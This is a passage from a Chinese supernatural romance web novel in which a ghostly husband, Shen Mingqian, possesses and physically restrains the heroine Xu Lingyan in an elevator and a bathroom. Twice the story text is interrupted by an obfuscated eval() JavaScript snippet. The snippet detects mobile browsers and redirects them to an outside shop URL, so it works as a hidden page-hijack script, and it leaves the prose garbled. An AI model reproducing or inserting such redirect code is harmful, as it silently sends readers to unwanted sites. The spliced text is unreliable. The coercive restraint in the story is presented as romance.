她心神荡漾不止,嘴唇蠕动,勉强张开一条缝,咕哝:“我很开心。” “为什么开心?”他声量压低,语速缓缓,引诱她说出真心想法。 而她也确实被某种不可言说的力量操纵思绪,漆黑眼珠失去往日的光泽,视线涣散,嘴巴机械的张合,“因为,终于能回家了。” 回家。他无声重复一遍,仔细琢磨家这个字的含义。 那地方准确来说不过是用钢筋水泥垒起来的空间,不会因谁的离开而悲伤,不会因谁的到来而欢喜,是个彻头彻尾的死物,偏偏最让人牵肠挂肚。 就算有天大的事砸在身上,最后咬牙撑下去的理由,也不过简单的一句:“我得回家去。” 与妻子相遇之前,他从不奢求世上会有一个属于自己的容身之所,反正绝大多数东西生不带来死不带去,他的一颗心,连同他的命、他这个人,注定飘零无归处,并不需要一个虚幻的寄托。 可后来,他和心爱之人成亲了,搬进被妻子称为家的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227080|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偌大的院子里种满她喜欢的花草树木,楼台庭院处处都有她翩然的身影。 春色正浓,窗外的花枝沿缝隙探入,芬芳扑鼻,妻子会令人搬一把美人椅,摇摇晃晃地吃蜜饯、看话本,累了就把书倒扣在心口,坦然入睡; 夏日炎炎,卧房内从白到晚都放着一箱子冰块解暑,妻子却偏爱往外跑,趴在池水边,两条莲藕一样雪白的手臂探进去拨弄鱼儿,仗着有人举伞为她遮阳,一玩便是一晌午,直至被他发现强硬地抱回房里才作罢; 秋高气爽,妻子便在院子里寻个能晒太阳、吹吹风的空地,支起桌椅,心安理得的使唤他为她洗头,久而久之,他连按摩一并学会了,倒也乐在其中; 寒冬料峭,是妻子全年中最难捱的时候。卧房内烧着滚烫的地龙,暖烘烘的,本不该再冷了,可妻子却像被烤蔫儿的花,整日柔弱无力地趴在榻上,寡言少食易病,一副精神缺缺的羸弱模样。 他恨不得推掉军中所有事务,留在府中全心全意照顾她,一刻不离。 彼时,他才懂什么叫作归心似箭。 哪怕天崩地裂也得回家去,只为家中那一人。 也正因为那儿有他们一起生活的回忆,时隔许久,那座死物仍能被赋予特殊的含义。 他目光下移,温情地注视着她,指腹捏起她脸侧的一块软肉反复摩挲,从喉头挤出含混地喟叹:“我应该早一点儿带你来的。” 许菱烟想说现在也不晚,只要他们在一起,什么时候都不算晚。 但她却先注意到他炙热的眼神,如一团熊熊燃烧的暗火,烫得她心神一晃,呼吸停滞一拍,忘记了要说的话。 在无声地对视中,空气逐渐胶着。 分明在一个相对安全的环境里,她却很不踏实,头顶的某个角落似乎有什么东西在暗中窥探他们的一举一动。 这种感觉太强烈,她没办法继续和他亲近,后缩着就要离开他的胸膛,突然被更强大的一股力量抓住手腕,强硬地拉扯回去。 浓稠夜色搅动,依靠的胸膛变成无边无际的潮湿地。 他的手臂自她身体两侧绕过来,紧紧掴住胳膊,在小腹处拧成结实锁扣,掌控住上半身。再用胸膛将她密不透风的裹起来,令她挣脱不得。 甚至有更多枝条一样的细长黏着物体从四面八方涌来,精准扼住她的下巴。 她吃痛,耸起肩膀抵抗。 可整张脸被他操控着无法躲开,后脑勺往后抵着他肩胛骨上,被牢牢固定在一点,身躯如同脱水枯死的鱼儿使劲弓起、扭动。 这样的挣扎在他精壮有力的怀中显得不值一提。 她更像一朵柔弱无骨的花儿,朵瓣被狂风骤雨摧残,簌簌凋零。 模样可怜亦可爱。 见状,摇曳的雾条儿立马堵住她的口舌,只余下含糊不清的呜咽。 “嘘——你乖乖的,别躲。” 他沉溺在这样的亲密中,脖颈向下弯曲成常人无法比及的弧度,脸颊亲昵蹭过她锁骨,随后隔着衣服贴近她的胸-口,聆听鲜活的心跳声。 颠来倒去的喃语,分不清愉悦还是渴求:“清如,清如清如,清如清如清如清如清如……” “我的妻。” “口是心非的小骗子。” “说什么来世与我再不相见,分明你也对我动了真情。我真傻,真的,我早该想到,依你性子,若真不想要那个孩子,有的是一万种办法不让她降世……” “从今日起,你休想再骗到我。” “因为答案,是你亲口告诉我的。” 咯咯咯。 他爽快地笑着,上下牙用力碰撞在一起,磨出些许腥气的粉末。 “爱我才会恨我。” “爱我才会怨我。” “爱我,才会对我心软。” 他稍微抬头,冰凉的唇瓣贴着她柔软面颊,低唤:“清如……清如呐……” “不管你对我有多少复杂的情绪,爱之一字永远排在最前头。” “这就足够了。” “……” 顶灯又闪了一下,黑暗重新笼罩下来。 明暗交替的片刻,沈明谦眼里有一簇光闪过,快到来不及捕捉。 他转移目光,轻轻吸了一口气,再缓缓吐出,艰难克制住某种无法用这种方式被彻底宣泄出来的欲念。 许菱烟则被压在他胸膛里,所有的知觉都让如潮水般席卷的另一种欢愉吸引走,她倔强地咬住下唇,试图用疼痛唤醒快被淹没的理智。 她最讨厌他用蛮横的手段,迫使自己不得不屈服。 这种身不由己的感觉令她烦躁、恐惧、憎恶,所以愈发剧烈挣扎起来。 可她的拳头挥打在他胳膊上,就像扑进一团没有实质的雾气里,不痛不痒的,反而催化了她的怒气。 沈明谦一声不吭,放纵妻子发泄。 不知过去多久,许菱烟抵抗的幅度越来越小。 伴随持续了小一阵儿的颤栗过后,她就像被驯服一样,彻底消停了,眼神涣散空洞地盯着黑暗里虚无的一点,默默缩在他怀里,由他反复抚摸她的长发。 一下,接着一下。 缱绻陶醉。 静止的时间在某一刻重新开始流动。 电梯厢里响起叮得一声,灯光骤然亮起,屏幕上的数字恢复正常。 这一切发生在三分钟之内,甚至来不及惊动管理人员。 电梯匀速下行。 广告屏哗啦哗啦翻着页。 许菱烟分散的视线慢半拍集中在某点,她抬手挡了一下刺眼的灯光,转头看见沈渠线条凌厉的侧脸,还有一只薄红的耳廓。 两人仍然保持依偎的姿势,近到可以清楚听见彼此的心跳声,却又远的不觉暧昧——以保安全,沈渠一条胳膊虚环住她腰间,没彻底靠上来,与她保持着恰当的距离。 可她分明感觉得到,有什么在两人之间流淌。 滚烫、暗哑。 悄无声息。 却比拥抱更让人悸动。 还没等想出个所以然,沈渠率先动作,扶她站起来。 不知道是被吓的或是怎么,许菱烟四肢虚弱无力,后背出了一层汗,衣服湿哒哒的,散发着一股怪异的腐臭味儿。 她抹一把额头上的热汗,小口小口喘着气,“电梯好了?” “嗯,好了。” 他凝着她,问:“腿麻了?” “……有点儿。”许菱烟揉了揉酸软的膝盖,感觉奇奇怪怪的,但又说不出来具体的原由,索性就当作蹲太久腿麻了。 叮得一声响,电梯到达一层,门徐徐打开,和煦的阳光与暖风瞬间灌进来,吹散那些不为人知的暧昧。 许菱烟依靠沈渠臂弯借力,步伐虚软地走出博物馆。 无从得知,楼上的电梯间内,保洁员拎着卫生工具经过这儿时,猛地一拍大腿,唉呀叫了一声,急慌慌去储备室搬了一块“正在维修中”的牌子放在电梯门前,抚着心口庆幸这一层还没到参观时间,外面大门仍然上着锁,否则游客误闯进来造成事故,他可就要担大责了。 而他转身离开的那秒,电子屏的下行箭头频闪几次,然后,彻底熄灭报废。 35. 将军府 预料中的美好旅行结果意外频发,不等到达目的地,许菱烟已经身心俱疲。 音响内放着悠扬的纯音乐,许菱烟不自觉放空,等那股莫名其妙的快意消失在身体内,她不自在地抻了下衣摆,扭头看向一旁的男人,突兀发问:“你以前,一个人在外旅行的时候,经常会被困在没水没电的地方吗?” 沈渠表情中划过一丝惊诧,很快想起她说在学校有线人,对方还是他唯一的指导学生,便笑了笑,很坦诚地作答:“嗯,经常。” 许菱烟心一揪,怅然咕哝:“难怪。” 难怪去灵源寺那次他会随身携带葡萄糖水。 难怪同样被困在电梯里,他却丝毫不焦躁,始终保持头脑冷静,判断当下的情况。 难怪他说,经历过,习惯了。 许菱烟是个格外惜命的人,第六感也比其他人更准,平时绝不靠近任何危险的人或事,最大的心愿就是人生平顺,一丁点风险也不想冒。 故此,她对于一切极限运动不感兴趣,从不一个人跋山涉水去外地旅行,恨不得把自己绑在稳定、安全、熟悉的区域中一直生活。就连朋友圈,也鲜少主动向外拓宽,年纪轻轻,反倒活得守旧老成。 哪怕电梯内的变故只有短短的两三分钟,并没造成什么后果,却让她到现在还余悸未消。 趁前方红灯停车的功夫,许菱烟拧开保温杯,猛灌几口水缓解后怕。 忽然有只手碰到她发顶,动作小心翼翼,没有弄乱她的发型,带有十足的安抚意味。 对上他投来的歉疚目光,她惊慌的心跳逐渐平缓,竟然还有心思开玩笑:“人生中偶尔来点刺激,感觉也挺不错的。” 就像小时候和朋友一起闯下祸,因为有人作伴,恐惧反倒变成堪称电影般的传奇经历。以后提起来,顶多调侃一句太倒霉了吧,便嘻嘻哈哈地揭过去了。 许菱烟最担忧沈渠的心情。 他对她,总有一股远超男女朋友的保护欲,仿佛她受到的一丝一毫负面影响全是他的罪过。就算他不说,她也能感受得到,那双漂亮的眼睛除了爱她,更多时候是一种无法言明的复杂情绪。 每次看他这样,她也跟着难受,可反复说原谅更不合理,弄得好像他真对她犯错了。 这样不对那样不行,犹豫一阵儿,她对他展露出笑颜,用轻松的语气缓解氛围,“以后吵架你都得让着我,毕竟我们一起被大雨困在山上的休息区,又被困在电梯里,这已经算过命的交情了。” 沈渠知道她在哄他高兴,很配合地应声,郑重其事的强调:“我不会再跟你吵架。” 许菱烟没太懂为什么要用“再”这个字。 自从认识以来,他们从没吵过架。 沈渠脾气温和,能惹他生气的人才要反思一下是不是自己太过分了。 但她没纠结这点,赶在绿灯亮起的前几秒,拧紧瓶盖放回置物架上,降落车窗举起手机拍摄蓝天白云。 朋友圈发出去没多久,有人观察仔细,从图片中嗅到不对劲的气息,问她,后视镜里那个只露出一条胳膊的男人是谁。 她没有藏着掖着,坦然承认是喜欢的对象,是正牌男友。 这个答案明明是发给别人看的,却也成了她的定心丸。 许菱烟把手机反盖在腿上,等歌单播放完的片刻安静,鼓起勇气说:“这一路上确实有点小折腾,但没关系,只要和你在一起,不管去哪儿、遭遇什么,我都认为是非常新奇的体验。” 她脸越说越红润,“你不觉得这样很浪漫吗?” 沈渠抬眼,通过后视镜瞥向妻子,不得不承认她还是那么有本事,寥寥几句就将他弄得心猿意马。于是攥着方向盘的手握紧,皮革套咯吱响了几声,“……浪漫什么?” “我从来没在车上过过夜。”许菱烟眨眨眼,表情狡黠,活似个尝到新鲜滋味忍不住炫耀的小孩,口吻神秘兮兮又暗藏激动。 “昨晚睡前你开了会儿天窗透气,我们放倒车椅,抬头就见满天繁星。外面车马如龙,车里只有你和我,夜色黑漆漆的,路上没人认识我们,也没人知道我们要去哪儿,这样,像不像私奔?” “……” 私奔。很不错的一个词。 沈渠相当受用,因此,露出淡淡的笑意:“像。” 许菱烟得到认同,乐津津地倒回座椅里回复朋友圈的留言,然后连上车载蓝牙,开始播放收藏列表里的音乐,合眼养神。 车内的气味淡雅悠长,跟沈渠身上的如出一辙,正中许菱烟的喜好。 她的神经渐渐放松,不知不觉间睡着了。 不知过了多久,喧哗声消失,周遭变得格外安静。车子先停了一阵儿,再次发动后碾过减速带,尽管沈渠努力控制着速度,许菱烟还是被晃醒了。 她伸个懒腰,揉了揉惺忪睡眼。 等视野恢复清明,许菱烟对着路旁偌大的景区游览告示愣了愣。 沈渠停了车,解开安全带,欺身凑近许菱烟,用手背贴了贴她的额头。 因为刚才睡得太沉,她这会儿的体温要比平时高一些。 他摁下座椅中间的空调按钮,等她适应了慢慢降低的温度再下车。 等再看过去的时候,正对上许菱烟迷茫的眼神,“不是去你家吗,怎么开到景区了?” 这里确实很美,可她已经没多少力气,也没心思陪他欣赏风景。 许菱烟犹豫要不要告诉他,明天得空再来玩,因为她现在真的很想睡觉。 沈渠口吻淡定,“这儿就是。” “——哈!?”许菱烟震惊万分,瞌睡一扫而空,趴在车窗上仔细看那块告示牌,确定是国家级景区没错。 转回头再和沈渠对视,她眼里陡然多了几分对他家资产的恭敬,“你家的长辈们当初是在景区里买的房子,还是……?” 沈渠眼中闪烁着晦涩难懂的光泽,没有及时回答这个疑问。 他手背始终贴在她额头上,等过分灼热的温度差不多消退了,把自己那件加绒的冲锋衣给她穿。 许菱烟夷犹,“你不冷吗?” “不用担心,我穿得厚,完全不冷。” 他抖开外套披在她背上,先一步下车取行李箱。 过去中午太阳最盛的时候,风吹的凉爽,许菱烟撩了一把飞舞的长发,刚刚在车内焐出的热乎气一干二净。 她打了个寒噤,兜紧衣服,亦步亦趋跟着他往某个方向走。 景区建在城区外,但所处的地方并不荒凉,经过某堵墙边,照样能听见外头的广场舞音乐。 直至跨过一道月洞门,许菱烟脚步蓦地滞住了。 来之前,她曾设想过他老家的模样,猜到可能会是恢弘气派的别墅,高档小区的现代住宅,或者是悠闲自得的乡下小院儿。结果,现实比她的想象更夸张。 身后这道月洞门将世界分割成毫不相干的两部分。 外头是城市的喧嚣,门内是桃花源般的宁静。 入目是曲折回廊,天井正下方有一池水,冬日凋谢的睡莲蜷缩在池底,只余几尾锦鲤自在游过。 假山上遍布藤蔓,旁边种着一颗歪脖子梨花树,如今还不到花期,光秃秃的枝丫倒是不显寂寥,与灰墙黛瓦相互映衬,在橙红晚霞里晕染成一幅栩栩如生的水墨画。 “从前是将军府,长辈们做主把产权移交给政-府管理,修缮改造之后面相公众开放,变成了泉化市的历史文化地标。除了家族祠堂所在的核心区域还保留在沈氏手里,就只剩这些老房子了。” 回廊外,一条条青石铺成的路,通往各间房间的门口。 飘满的枯叶无人清扫,踩上去咔嚓作响。 沈渠走在前面引路,声音平静,“这座院子最初分给了我爸,他因为工作定居国外,干脆改写了我的名儿,但我也很少回来。” 许菱烟没说话。 自从走进院子开始,她就莫名眼熟这儿的一草一木。等看见那几间修缮多次,为了安全起见干脆改用现代材料的房子,这种感觉顿时消失。 “这两天,你就住主卧吧。”沈渠从外面向内推开那扇冰裂纹花窗。 许菱烟回神,问:“那你呢?” “隔壁。我回来的太突然,其余房间管家没来得及打扫。” 沈渠说:“里面所有的东西都是新换的,你放心用。辛苦了一天一夜,今晚就不带你外出逛了,晚饭待会儿送上门来,吃完早点睡。” “好。” 许菱烟拎着行李箱进房间,忽然想起更重要的事,赶紧从窗户探出头,叫住沈渠,“要不要先带我去见一见外婆?” “老人家这个点儿肯定正在跟好友们跳舞或者打牌,现在过去也找不到她人,明天吧。” 许菱烟颔首,缩回头关上窗。 第一下没阖严,风一吹咣当咣当作响,她本想过去扣上锁扣,但却鬼使神差地停下来,扒开一条缝向外张望。 沈渠拿的东西多,用了几分钟搬进房间里,没着急收拾,反而站在廊下悠闲地观赏盆栽。 橙红色霞光映照着这一方天地,变成他脚下、身后温柔的底光,竟有种穿越时空的奇异契合。 许菱烟看着这一幕,忽然回忆起她最开始喜欢上他的原因,恍然醒悟,原来他的好脾气是从这样的安静里养成的。 她无声笑笑,心满意足地关了窗,继续收拾箱子。 而廊下伫立的男人在同一时刻扭头,目光牢牢锁住妻子所在的方向,发觉她不再关注他,也懒得扮演谦谦君子的模样,抚上盆栽的手倏然收紧,硬生生掐下一节嫩芽,嫌弃地甩进泥土里,转身回屋了。 - 一天一夜没换衣服又出了汗,许菱烟浑身黏腻,累到极致也没办法上床休息。她给沈渠发消息说晚点吃饭,得到回复之后反锁房门,抱着干净睡衣走进浴室,抓紧洗澡。 甫一推开玻璃门,许菱烟就发出了超没见识的感叹。 不愧是前将军府,房子从外看很小,实则一间浴室有她家一楼客厅的两倍这么大,所用所见皆名贵,富丽堂皇的程度令她错觉随便敲下一块边角都能卖出下半辈子无忧的价格。 许菱烟拍了拍脸颊,强制大脑从庸俗的价值观里清醒下来。 绕着浴室打了一圈儿晃,总算找到隐藏在吹风机悬挂架旁的灯光电源。打开之后光线昏暗,偶尔扑闪几下,接着倔强地亮起,之后就没再闹毛病了。 真就像沈渠所说,他以往回家的次数太少,并不知道浴室的灯快坏了。 所幸,不影响使用。 等浴缸接满水,许菱烟躺进去,被温热水浸泡过肩膀的瞬间,全身心得到彻底的放松。 她双眼微阖,舒舒服服地发出声喟叹,摸到一旁柜子上的手机,准备放首歌听,却先接到叶婉筱的语音电话。 “我说怎么去你家扑了个空,原来跟男朋友去外地享受二人世界了。” 叶婉筱正在捯饬瓶瓶罐罐,边拍护肤水,边调侃,“叔叔阿姨知道他们要有女婿了不?” 许菱烟实话实说:“知道的。爸妈邀请他年前去家里吃顿便饭。” 电话那头陷入诡异的沉寂。 几秒之后,叶婉筱真诚地说声恭喜。 这么多年的好友,许菱烟当即听出来叶婉筱压抑的苦闷,也猜到跟谁、什么事有关。 顾及叶婉筱的感受,许菱烟没有挑明,先关心她在外出差的衣食住行。 等她主动提起同行的人,自然避不开也在其中的贺骁,许菱烟顺理成章地发问:“贺骁这人,不是你的偏好?” 一个从家世到人品都无可挑剔的男人,真心实意追求这么久,叶婉筱仍然不动容,要么是心有所属,要么是个人审美不吃这款。 许菱烟知道叶婉筱心里没有他人,那么,只剩第二种可能性。 这次,叶婉筱沉默的时间更久。 “……我不知道。” 她语气里透露出罕见的迷茫,“真正喜欢一个人,到底是什么感觉?” 许菱烟兀自思考着,犹豫该怎么解答。 每个人对感情的定义不同,体验感也不同。 依她的看法,如果能跟个人计划画上绝对的等号,那就叫真正的喜欢了。 许菱烟将手机放去置物架上,挤出花香味儿的沐浴乳揉搓。 空款又宽敞的浴室内回荡着她的声音,“我向往平淡无波澜的人生,偶尔的风浪可以被视作调剂,但一直充满刺激感就不行了。所以,我择偶最重要的一点就是平稳踏实,哪怕稍微枯燥一点也没关系,太外向的性格反而会给我造成心理负担。” “沈渠……他的想法和我完全相同。” 尽管已经在一起有段日子了,许菱烟还是有些耻于直呼他的大名。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232571|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她捧起一把水往脸上扑,好歹冷静下来之后,接着说:“在不破坏我们对人生原本设想的基础上,还能给彼此留出一个舒服且充分的生存空间,对我们来说,这就叫喜欢了。” 叶婉筱认为闺蜜言之有理,无奈恋爱跟结婚有天壤之别。 从前,叶婉筱挑选男朋友的条件无非聊得来、长得帅、人品佳,她严格遵循标准行事,因而恋爱经历相当愉快丰富,自认为未来也不会在这方面犯糊涂。 但真到了年龄,被命运推到这一步,才发现一切跟想象背道而驰。 比起风花雪月,她更擅长跟人面对面把条件罗列出来,双方目标一致或利益相合,便可以考虑以结婚为前提开始交往。把所有复杂问题简单化,粗暴的追求效率,是她一贯的行事风格。 尤其在双方家人知情的前提下,她更不想冒任何分手撕破脸的风险,于是斟酌再斟酌。 经过一次又一次失败的相亲之后,她亦做好了此生不会进入婚姻的打算,如果以后碰见相互喜欢的情况,就与对方谈一场尽兴的恋爱,但不必把感情这件事摆在人生重中之重的位置。 偏偏最后遇见上的,是贺骁这个不按套路出牌的人。 他既要跟她步入婚姻的殿堂,也要她以正常谈恋爱的心态对待他。 须知,鱼和熊掌不可兼得。 他的要求太苛刻,叶婉筱完成不了。 结束出差之后,她想方设法躲着他,可惜道高一尺魔高一丈,贺骁竟然有本事直接打入她家内部,把一众挑刺的长辈们伺候的舒舒服服,笼络住一大片人心,却唯独不提跟她的事儿,弄得那些假热心肠的长辈隔三差五就来找她谈心,做思想工作。 她无奈妥协,答应明天跟他出去约会。 许菱烟安静听完始末,了然地笑笑:“真是因为妥协吗?” 这样的说辞也许会骗得过别人,唯独骗不过足够了解她的许菱烟。 大多数时候,她们心有灵犀的程度,更像是从同一具身体上分成的两半。 叶婉筱提起一口气,再深深地挤出肺部,这回倒真有点儿妥协的滋味了,“……不是。” 换作其他男人,为了得到一个和她约会的机会,不惜上赶着巴结她家长辈,她只会烦躁,有种赶鸭子上架不得不从的感觉,甚至被激发逆反心理。 可这人是贺骁。 她非但不抵触,还忍不住窃喜,原来他可以为了讨得自己的欢心做到这份上。 “看在他诚心诚意的份上,我一直摆谱也说不过去,反正只是约个会而已,又不是直接约双方家长碰见把婚事淡定了,我就当做个好事,满足他小小的心愿。至于其它的,等我们明天接触之后再说。” 许菱烟听见她嘴硬的说辞,没有追问,也没有逼她坦诚,善解人意道:“嗯,你自己能拿定主意就好,感情的事本来也不需要给别人交代。” 叶婉筱感激地嗯声。 这个话题结束,两人商量说过年前再去一趟美容院。 因为工作,许菱烟很注重手部保养,提议说做完项目,再去找家店做美甲。 叶婉筱万分同意。 她是个实打实的行动派,嘴上说着,立即拿起手机预约同事推荐的那家美甲小店,定位在沙溪大学附近五百米处,她一顿,忽然记起一件被自己不小心遗忘的事儿。 “有个小妹妹来找你,刚巧你没在家,她就托我把一份重要的文件转交给你。” 叶婉筱蹙眉认真回忆对方的原话,“……别告诉任何人你收到了这份文件,务必要在一个人独处的时候打开,看完立即销毁,小心别惊动他……” 不怪她说不清,主要是对方一副被吓傻的模样,脸色煞白,唇色发青,眼神木楞,话都说不利索,递文件的时候双手抖得像筛糠。 那场面给叶婉筱也骇一跳。 要不是坐在出租车里的男人见势不对,主动过来替她重新说了一遍,那女生也反复强调她没关系,是天儿太冷,冻得哆嗦,叶婉筱真就报警了。 许菱烟二张摸不到头脑,“她没告诉你,她是谁吗?” “说了说了。沙溪大学历史系,褚灵萱。” 许菱烟恍然哦声,随即纳闷,她们有彼此的联系方式,到底是什么重要的东西需要褚灵萱亲自送上门,还不可能再微信里告知一下。她说:“你把内容拍给我看看呗。” “我不。”叶婉筱一口回绝,“人家千叮咛万嘱咐,这份文件只能你亲自打开,否则会出大事的。我也答应了。” “……”许菱烟凝噎,实在佩服她的契约精神。 叶婉筱建议:“你发地址给我,我快递邮给你。” 许菱烟欣然同意:“好。” 因为叶婉筱明天有约,必须得早起,她们聊完这茬便挂了电话。 为了足够保暖,浴室门窗设计的严丝合缝,一旦关上就不再透风。 这一点,早在住进来之前,沈渠就告诉她了,许菱烟没敢泡太久,怕窒息发生意外。她拿毛巾擦干水珠,穿上睡衣,放掉浴缸里的水,去帘子外的干燥区洗漱。 许菱烟赤脚站在防滑垫上,露在衣领外的肌肤透着淡粉色,蒸发出汩汩热气。她拆开发包,用吹风机吹到半干,接着,从一堆瓶子罐子里扒拉出要用的那一款。 昏黄的光线被氤氲水汽柔化成一圈又一圈光晕,镜面也一片模糊,只看得见她绰约的身影。没办法,许菱烟单手托着拧开盖子的面霜,抽出几张纸巾擦拭。 镜子一点点变清晰,倒映出被蒸红的下半张脸。 许菱烟凑近,把面积擦得更大一些。 就在这一刹,她余光捕捉到……一个人。 应该,是,人,吧……? 那道身影凭空出现在滚涌的热浪中,欣长、真实,静静地立在距离她不足两步远的地方,目光如有实质般,隔着睡衣抚过她刚洗完澡,还残留热气的躯体。 许菱烟心跳蓦地漏了一拍,动作僵住。 摁在镜面上的纸巾逐渐浸湿变软,其余雾气很识趣儿的没再靠近那块擦亮的镜面。被这突如其来的一幕吓到,她表情呆滞,指尖一点点变凉,脖颈仿佛被钉死在这一个方向,盯着镜中仅她一人的倒影。 霎时间,脑中闪过某个念头,她艰涩地咽下口唾沫,一并咽下险些叫出口的那声沈渠,嘴皮子抖了抖,改口道:“……明、明谦。” 36. 心疼 “嗯。”沈明谦应得爽快,唇角勾起一抹心满意足、却也令人不寒而栗的微笑,“见你很久没出去,怕你出事,所以进来看看。” 许菱烟还没从他突然出现的情况中反应过来,就被一道巨大的力量扼住腰肢,向后拽入寒湿宽阔的胸膛。 他健壮的胳膊自两侧环抱过来,裹得密不透风,致使她有点呼吸不畅。 察觉出他的情绪浓烈到不太对劲,便没敢挣扎。 老老实实随他抱了一会儿,她稍微一动,他立即领会,略略懈劲儿,没再桎梏她的身体。 许菱烟的双臂得以解放,重新拿起瓶子,指甲抠了一坨面霜擦在脸上,慢慢揉开。 清爽的味道弥漫开来。 沈明谦按捺不住,凑近,鼻尖悬停在距离妻子面颊仅几毫米的地方,深深吸入一口气,自肺腑挤出一声餍足地喟叹:“真香啊……” 他忍不住多嗅了几口,被妻子身上的气味香到意识迷离,眼皮微阖,狭窄的缝隙中漏出豆粒大小的瞳仁,不停震颤,向上翻起。 压抑一整天的欲念再次发作,摁在她腰侧的大掌不安分摩挲下,睡衣滑溜溜的布料在指间皱起又随他的动作被捋平,反复没几次,他眼底的暗火越烧越旺。 于是自背后严丝合缝贴着她,宛如一条发-情的狗,气喘连连:“清如,清如清如清如清如……你可怜可怜我,今晚就留我在房里睡吧,好不好?我们好不容易重逢,我不想再同你分开,一分一秒,都不想……” 两人之间仅隔着一层睡衣单薄的布料,许菱烟清楚感觉得到他灼热的呼吸,和激烈起伏的胸膛。 与他的亢奋不同,她表情淡然,把掌心搓热之后,借着面霜的润-滑,打圈按摩肌肤。口吻稀松平常:“这里本来就是你家,我还能管你在哪儿睡觉吗?” 闻言,环在腰间的胳膊一滞。 沈明谦用虎口扼住她下颌,不由分说地掰过一张白洁小脸,细细地打量。 眼睛倒还是那双熟悉的眼睛,望向他的时候懵懂无知、纯粹干净,在恨意还没有滋生的日子里,她对他,也是这般坦荡。 只不过,刚才的口吻太像了。像极了她拔剑刺入心脏,决定彻底离开他时的无波无澜,他一听,那些挤压良久的阴霾就再度袭来,令他胆颤心惊。 沈明谦喉咙紧了紧,有些丧气又有些委屈地咕哝:“你一点儿也不想我。” “……”许菱烟终于意识到,不管男人女人,陷入爱情中其实都一个样儿。 较起真来,讲道理是万万行不通的。 许菱烟放下面霜罐子,从男人松懈的怀抱里转过身。丝滑衣料顺着抬起的胳膊下滑,莲藕般白又嫩的手臂裸在外头,接着,虚环上他的脖颈,轻轻晃了晃。 沈明谦的意识也跟着荡漾。 随即,瞧见近在咫尺的一张樱粉唇翕张,喷出馥郁香气:“那就按你说的,今晚留在这边睡,行不行。” 沈明谦没应声。 刚才在妻子面前才会表现出的稚气慢慢消失,眉宇间沉着几分化不开的郁结。 他抓紧她后腰的衣服,以为这样就能连同她一起抓紧。整个人立即欺近完全遮去顶光,巨大的身影投落,将她笼入天罗地网般的阴影,聊以缓解膨胀的占有欲。 但也仅仅是聊以缓解。 他心口攥着一团爱火,被她撩拨的越烧越旺,偏她的含糊其辞又往里面添了一把干柴。 霎时间,火苗窜起百丈高,干柴教烈火烧得噼里啪啦作响,汩汩黑烟从身体四周冒出来就变成湿冷的水汽,驱散沐浴之后的热雾。 背后的镜子逐渐恢复澄明,实实在在只倒映出许菱烟一个人。因而,她的姿势乍看很诡异,虚空倚靠着大理石台,两条细长白嫩的胳膊向上吊起,对着空气自说自话。 常理解释不清,感受却不会骗人。 她的胸膛朝着他的方向贴近,一把腰肢软的过分。他甚至幻觉她终会彻底化在他手掌心里,像一捧水,再由他伸出腐烂的长舌一点点舔舐,彻底卷入肚子里,融为一体。 许菱烟对他内心彭拜的波涛毫无察觉。 她静静看着他,晶亮的瞳仁宛如一面可以照出魂灵的奇特镜子,清楚倒映着他的面庞。 死去太久,皮囊腐朽,纵使他真有通天的本领,也不可能百分百还原出生前的面貌,现如今,有个七八分相似,已经很不容易了。 所以,面对鲜活漂亮的妻子,他总忍不住卑怯,想问她嫌不嫌弃自己,又怕问出口得到不愿听的答案,以后就一丁点儿幻想的余地都没有了。 妻子似乎察觉到这一点,用目光稳稳承接住他,小声询问:“这样也不行?” 沈明谦垂下头,额前凌乱的碎发挡去他的眉眼,整个人被一股挥之不去的丧气包裹,看起来可怜兮兮的,“……” 作为一个合格的丈夫,必须对妻子无条件服从。 他不爽,但他会学着不把负面情绪带给妻子。 许菱烟叹了口气,用微凉的食指轻戳他的眉心,似埋怨又似调-情。 猝不及防的一个举动,沈明谦心弦被撩动,激得浑身一颤,睫毛缓慢向上抬起,投向她的眼神晦涩不明。 而她指腹沿着高挺的鼻梁匀速下滑,经过圆钝鼻尖,继续往下,在单薄惨白的唇瓣上停了一停,蓄意撩拨一样,轻轻的,反复拨动。 沈明谦被蛊惑着张开嘴,歪头去含咬妻子葱白一样的指尖。 没成想,她反应更快的躲开,轻笑声回荡在浴室内,羽毛似地剐蹭着他耳膜。 沈明谦咕嘟咽下口唾沫,身体因为亢奋激颤的幅度更大,眸底翻涌着污秽不堪的情愫。 他豆大的眼珠死死固定在一处,视线一动不动的追随她,脑袋则歪成正常人无法企及的地步,偏执的追求她掌心的芬芳。 可她这会儿很坏心眼,偏不遂他的愿,缩着肩膀嬉笑躲闪,指尖也跟着乱颤,似有若无地戳一下、点一下他的脸。 沈明谦感觉自己现下就像一条哈巴狗,被妻子耍的团团转,仍然甘之如饴。 而蛊惑的源头就在眼前晃来晃去,吊起他久久得不到满足的爱-欲,刺激的骨子发麻,终于,咬紧的牙关间溢出一声类似怒吼的气音。 他再也顾不上恁多,原本握着她腰肢的手离开,精准捕获她肆意捣乱的指头,使劲儿捅入早就霉烂的口腔内,疯狂地吻着、啃着、舐弄着,仿若一个瘾-君子,发誓要攫取她的每一寸芳香。 这样癫狂、野性的示爱方式把许菱烟吓了一跳,她怕弄疼他,急切的要把手抽回来。 